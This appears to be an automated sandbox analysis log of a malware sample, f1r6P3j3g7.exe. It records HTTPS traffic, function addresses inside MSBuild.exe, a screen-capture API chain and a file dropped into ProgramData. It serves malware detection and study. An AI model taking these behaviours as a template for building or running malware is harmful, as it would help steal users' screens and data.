Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53780
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53786
Source: unknown	Network traffic detected: HTTP traffic on port 53792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53791
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53790
Source: unknown	Network traffic detected: HTTP traffic on port 53747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53676
Source: unknown	Network traffic detected: HTTP traffic on port 53824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53681
Source: unknown	Network traffic detected: HTTP traffic on port 53770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53680
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53876 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:53640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:53641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:53878 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	3_2_6CBCED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6CC0B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC0B8C0 rand_s,NtQueryVirtualMemory,	3_2_6CC0B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6CC0B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6CBAF280

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F2021	0_2_008F2021
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094A1BB	0_2_0094A1BB
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F729C	0_2_008F729C
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0090D39B	0_2_0090D39B
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0093E36F	0_2_0093E36F
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_009364F5	0_2_009364F5
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0093945D	0_2_0093945D
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094A559	0_2_0094A559
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_009386FD	0_2_009386FD
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0090572C	0_2_0090572C
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094A92B	0_2_0094A92B
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008FCAF2	0_2_008FCAF2
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0090BB36	0_2_0090BB36
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00903C92	0_2_00903C92
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094AD13	0_2_0094AD13
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_00949D26	0_2_00949D26
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F1D79	0_2_008F1D79
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008FFEF0	0_2_008FFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041C585	3_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041B825	3_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042DA53	3_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042D2E3	3_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042CE4E	3_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041961D	3_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042DE3B	3_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042D681	3_2_0042D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBA35A0	3_2_6CBA35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB6C80	3_2_6CBB6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE6CF0	3_2_6CBE6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBAD4E0	3_2_6CBAD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC034A0	3_2_6CC034A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC0C4A0	3_2_6CC0C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCD4D0	3_2_6CBCD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB64C0	3_2_6CBB64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC1545C	3_2_6CC1545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE5C10	3_2_6CBE5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBF2C10	3_2_6CBF2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC1AC00	3_2_6CC1AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC1542B	3_2_6CC1542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB5440	3_2_6CBB5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC085F0	3_2_6CC085F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE0DD0	3_2_6CBE0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCED10	3_2_6CBCED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBD0512	3_2_6CBD0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBBFD00	3_2_6CBBFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC176E3	3_2_6CC176E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBC5E90	3_2_6CBC5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC0E680	3_2_6CC0E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBABEF0	3_2_6CBABEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBBFEF0	3_2_6CBBFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC04EA0	3_2_6CC04EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC16E63	3_2_6CC16E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE7E10	3_2_6CBE7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBF5600	3_2_6CBF5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBAC670	3_2_6CBAC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBC9E50	3_2_6CBC9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE3E50	3_2_6CBE3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC09E30	3_2_6CC09E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBF2E4E	3_2_6CBF2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBC4640	3_2_6CBC4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBF77A0	3_2_6CBF77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBD6FF0	3_2_6CBD6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBADFE0	3_2_6CBADFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE7710	3_2_6CBE7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB9F00	3_2_6CBB9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC150C7	3_2_6CC150C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBD60A0	3_2_6CBD60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCC0E0	3_2_6CBCC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE58E0	3_2_6CBE58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBEB820	3_2_6CBEB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBF4820	3_2_6CBF4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBB7810	3_2_6CBB7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBEF070	3_2_6CBEF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBC8850	3_2_6CBC8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCD850	3_2_6CBCD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBDD9B0	3_2_6CBDD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBAC9A0	3_2_6CBAC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE5190	3_2_6CBE5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC02990	3_2_6CC02990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC1B170	3_2_6CC1B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBFB970	3_2_6CBFB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBBD960	3_2_6CBBD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBCA940	3_2_6CBCA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBBCAB0	3_2_6CBBCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBA22A0	3_2_6CBA22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBD4AA0	3_2_6CBD4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBC1AF0	3_2_6CBC1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBEE2F0	3_2_6CBEE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC1BA90	3_2_6CC1BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC12AB0	3_2_6CC12AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE8AC0	3_2_6CBE8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBE9A60	3_2_6CBE9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC153C8	3_2_6CC153C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBAF380	3_2_6CBAF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBED320	3_2_6CBED320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBBC370	3_2_6CBBC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBA5340	3_2_6CBA5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC4ECC0	3_2_6CC4ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCAECD0	3_2_6CCAECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC5AC60	3_2_6CC5AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD16C00	3_2_6CD16C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD2AC30	3_2_6CD2AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CDDCDC0	3_2_6CDDCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCE6D90	3_2_6CCE6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC54DB0	3_2_6CC54DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD7AD50	3_2_6CD7AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD1ED70	3_2_6CD1ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CDD8D20	3_2_6CDD8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC5AEC0	3_2_6CC5AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCF0EC0	3_2_6CCF0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCD6E90	3_2_6CCD6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCEEE70	3_2_6CCEEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD30E20	3_2_6CD30E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD2EFF0	3_2_6CD2EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC50FE0	3_2_6CC50FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD98FB0	3_2_6CD98FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC5EFB0	3_2_6CC5EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCBEF40	3_2_6CCBEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD12F70	3_2_6CD12F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC56F10	3_2_6CC56F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD90F20	3_2_6CD90F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD568E0	3_2_6CD568E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD24840	3_2_6CD24840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCA0820	3_2_6CCA0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCDA820	3_2_6CCDA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD6C9E0	3_2_6CD6C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC849F0	3_2_6CC849F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD109B0	3_2_6CD109B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCE09A0	3_2_6CCE09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD0A9A0	3_2_6CD0A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC88960	3_2_6CC88960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCA6900	3_2_6CCA6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCCEA80	3_2_6CCCEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCCCA70	3_2_6CCCCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCFEA00	3_2_6CCFEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD08A30	3_2_6CD08A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD56BE0	3_2_6CD56BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCF0BA0	3_2_6CCF0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC964D0	3_2_6CC964D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCEA4D0	3_2_6CCEA4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD7A480	3_2_6CD7A480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC68460	3_2_6CC68460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCB4420	3_2_6CCB4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCDA430	3_2_6CCDA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD1A5E0	3_2_6CD1A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCDE5F0	3_2_6CCDE5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC445B0	3_2_6CC445B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD98550	3_2_6CD98550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCA8540	3_2_6CCA8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD54540	3_2_6CD54540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCB2560	3_2_6CCB2560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCF0570	3_2_6CCF0570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CC746D0	3_2_6CC746D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCAE6E0	3_2_6CCAE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCEE6E0	3_2_6CCEE6E0
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D02021	10_2_00D02021
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D340C8	10_2_00D340C8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D32088	10_2_00D32088
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2E1CF	10_2_00D2E1CF
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D5E1A8	10_2_00D5E1A8
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D5E132	10_2_00D5E132
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D32123	10_2_00D32123
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2E272	10_2_00D2E272
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D2E27B	10_2_00D2E27B
